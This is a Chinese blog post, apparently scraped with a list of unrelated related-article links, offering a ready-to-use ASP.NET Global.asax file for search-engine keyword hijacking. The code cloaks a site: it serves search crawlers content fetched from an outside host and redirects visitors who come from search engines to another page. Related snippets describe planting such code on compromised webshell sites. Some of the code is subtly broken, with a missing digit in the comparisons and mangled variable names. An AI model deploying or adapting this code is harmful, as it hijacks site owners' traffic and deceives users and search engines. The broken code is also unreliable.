搜索引擎关键词劫持之.net篇
摘要:蛋疼写的,有需要的就拿去,注意要保存为Global.asax。 重要说明:为避免编码问题,请在劫持页面(data_url)指向页面加入meta标记来指明编码,如 meta content=text/html; charset=utf-8 http-equiv=Content-Type/ 来指明是UTF-8编码,以避免乱码问题。 %@A...
蛋疼写的,有需要的就拿去,注意要保存为Global.asax。
重要说明:为避免编码问题,请在劫持页面(data_url)指向页面加入meta标记来指明编码,如
<meta content="text/html; charset=utf-8" http-equiv="Content-Type"/>
来指明是UTF-8编码,以避免乱码问题。
<%@ Application Language="C#" %>
<script runat="server"> void Application_Start(object sender, EventArgs e)
{
//在应用程序启动时运行的代码
}
void Application_End(object sender, EventArgs e)
{
//在应用程序关闭时运行的代码
} void Application_Error(object sender, EventArgs e)
{
//在出现未处理的错误时运行的代码
} void Session_Start(object sender, EventArgs e)
{
//在新会话启动时运行的代码
//HttpContext.Current.Response.Write(HttpContext.Current.Request.UserAgent);
string data_url = "http://www.yunsec.net";//要展示给搜索引擎的页面
string redirect_url="http://www.yunsec.net/1.asp";//从搜索引擎点击进来跳转的页面
if (is_spider())
{
HttpContext.Current.Response.Clear();
HttpContext.Current.Response.BinaryWrite(get_data(data_url));
HttpContext.Current.Response.End();
}
else if(is_from_search())
{
HttpContext.Current.Response.Redirect(redirect_url, true);
}
else
{
//HttpContext.Current.Response.Write(HttpContext.Current.Request.UserAgent);
}
} void Session_End(object sender, EventArgs e)
{
//在会话结束时运行的代码。
// 注意: 只有在 Web.config 文件中的 sessionstate 模式设置为
// InProc 时,才会引发 Session_End 事件。如果会话模式
//设置为 StateServer 或 SQLServer,则不会引发该事件。 }
public bool is_spider()
{
string spider_flag = "googlebot|baiduspider|sogou|yahoo|soso";//这里添加搜索引擎user-agent标识
string[] spider_flagspider_flag_arr = spider_flag.Split('|');
string user_agent=HttpContext.Current.Request.UserAgent;
foreach (string tmp_flag in spider_flag_arr)
{
if (user_agent.ToLower().IndexOf(tmp_flag.ToLower())!=-) { return true; }
}
return false;
}
public bool is_from_search()
{
if (HttpContext.Current.Request.UrlReferrer==null)
{
return false;
}
else
{
string page_ref = HttpContext.Current.Request.UrlReferrer.ToString();
string search_flag = "google|baidu|sogou|yahoo|soso"; //这里添加搜索引擎url标识
string[] search_flagsearch_flag_arr = search_flag.Split('|');
foreach (string tmp_flag in search_flag_arr)
{
if (page_ref.ToLower().IndexOf(tmp_flag.ToLower()) != -) { return true; }
}
return false;
}
}
public byte[] get_data(string url)
{
System.Net.WebClient wc = new System.Net.WebClient();
byte[] data = wc.DownloadData(url);
return data;
} </script>
搜索引擎关键词劫持之.net篇的更多相关文章
- 搜索引擎关键词劫持之php篇(源码与分析)
摘要:其实原理很简单: 搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出如下判断: if(来访者是蜘蛛){ 输出 ...
- 搜索引擎关键词劫持之asp篇
摘要:关键词劫持(黑帽seo)其实原理很简单:搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出判断... 黑帽S ...
- python截取搜索引擎关键词
这段代码是自己学了python的基本语法之后,参考一个网上视频写的代码,功能是截取搜索引擎360的关键词. 代码: #!/usr/bin/python #encoding:utf-8 import u ...
- PHP获取搜索引擎关键词
有时候我们需要知道用户通过哪个搜索引擎,通过拿个关键词访问我们页面,当然js也可以实现,这里介绍下php的实现代码,包含(百度.谷歌.雅虎.搜狗.搜搜.必应.有道)几大搜索引擎的获取方法. //获取来 ...
- Google搜索排名优化-面向搜索引擎的网站设计
内容摘要:网站在搜索营销方面最主要的缺点: 行业知识:不知道搜索引擎对吸引的新用户的重要性,在搜索引擎排名服务中追求“傻瓜相关”,购买一些其实没有太多实际意义的行业关键词.其实能够用户输入的关键词越多 ...
- Python网络爬虫入门篇
1. 预备知识 学习者需要预先掌握Python的数字类型.字符串类型.分支.循环.函数.列表类型.字典类型.文件和第三方库使用等概念和编程方法. 2. Python爬虫基本流程 a. 发送请求 使用 ...
- NLP自然语言处理 jieba中文分词,关键词提取,词性标注,并行分词,起止位置,文本挖掘,NLP WordEmbedding的概念和实现
1. NLP 走近自然语言处理 概念 Natural Language Processing/Understanding,自然语言处理/理解 日常对话.办公写作.上网浏览 希望机器能像人一样去理解,以 ...
- Google搜索引擎用法
Google搜索引擎用法 ★搜索引擎的选择 先简单说一下"搜索引擎的选择". 在咱们天朝,Google 屡屡被 GFW 骚扰,导致百度占了便宜,成为份额最高的搜索引擎.不过今天这篇 ...
- python 手把手教你基于搜索引擎实现文章查重
前言 文章抄袭在互联网中普遍存在,很多博主都收受其烦.近几年随着互联网的发展,抄袭等不道德行为在互联网上愈演愈烈,甚至复制.黏贴后发布标原创屡见不鲜,部分抄袭后的文章甚至标记了一些联系方式从而使读者获 ...
随机推荐
- iOS之 Xcode7下 bitcode的工作流程及安全评估
文章参考来自http://www.freebuf.com/articles/others-articles/89806.html 很多朋友在升级Xcode7以后原有正常运行的工程在Xcode7下编译会 ...
- HtmlHelper使用大全
许多时候我们会遇到如下场景在写一个编辑数据的页面时,我们通常会写如下代码1:<inputtype ="text" value='<%=ViewData["ti ...
- CMPP错误码说明
与中国移动代码的对应关系. MI::zzzzSMSC返回状态报告的状态值为EXPIREDMJ:zzzzSMSC返回状态报告的状态值为DELETEDMK:zzzzSMSC返回状态报告的状态值为UNDEL ...
- Tomcat:基于Apache+Tomcat的集群搭建
根据Tomcat的官方文档说明可以知道,使用Tomcat配置集群需要与其它Web Server配合使用才可以完成,典型的有Apache和IIS. 这里就使用Apache+Tomcat方式来完成基于To ...
- plsql 查询结果窗口 不正常
今天发现了一个很有趣的现象,一个查询语句查出来的结果窗口只显示一部分. 是因为查询语句中有全角的字符或者空格: 如果是sqlServer的话直接就报错了,而plsql不报错,显示如下
- VC++ Debug编译方式
字节填充 VC++在Debug编译方式下,new的内存用0xcd(助记词为Cleared Data)填充,防止未初始化: delete后,内存用0xdd(Dead Data)填充,防止再次被使用. 这 ...
- mysqli,Fatal error
<?php //mysql数据库类-mysqli版 //2014/6/13 class mysqlidb{ public $dbhost; public $dbuser; public $dbp ...
- Java里面的转义字符
转义字符是指,用一些普通字符的组合来代替一些特殊字符,由于其组合改变了原来字符表示的含义,因此称为“转义”. 常见的转义字符: \n 回车(\u000a) \t 水平制表符(\u0009) \b 空格 ...
- Brackets(bestcoder)
Brakerts 每次询问一个区间都根据最开始的线段树在询问的区间重建一棵线段树 view code#include <iostream> #include <cstdio> ...
- linux运行级别[转自网络]
运行级别就是操作系统当前正在运行的功能级别.级别是从0到6,具有不同的功能.这些级别定义在/ect/inittab文件中.这个文件是init 程序寻找的主要文件,最先运行的服务是那些放在/etc/rc ...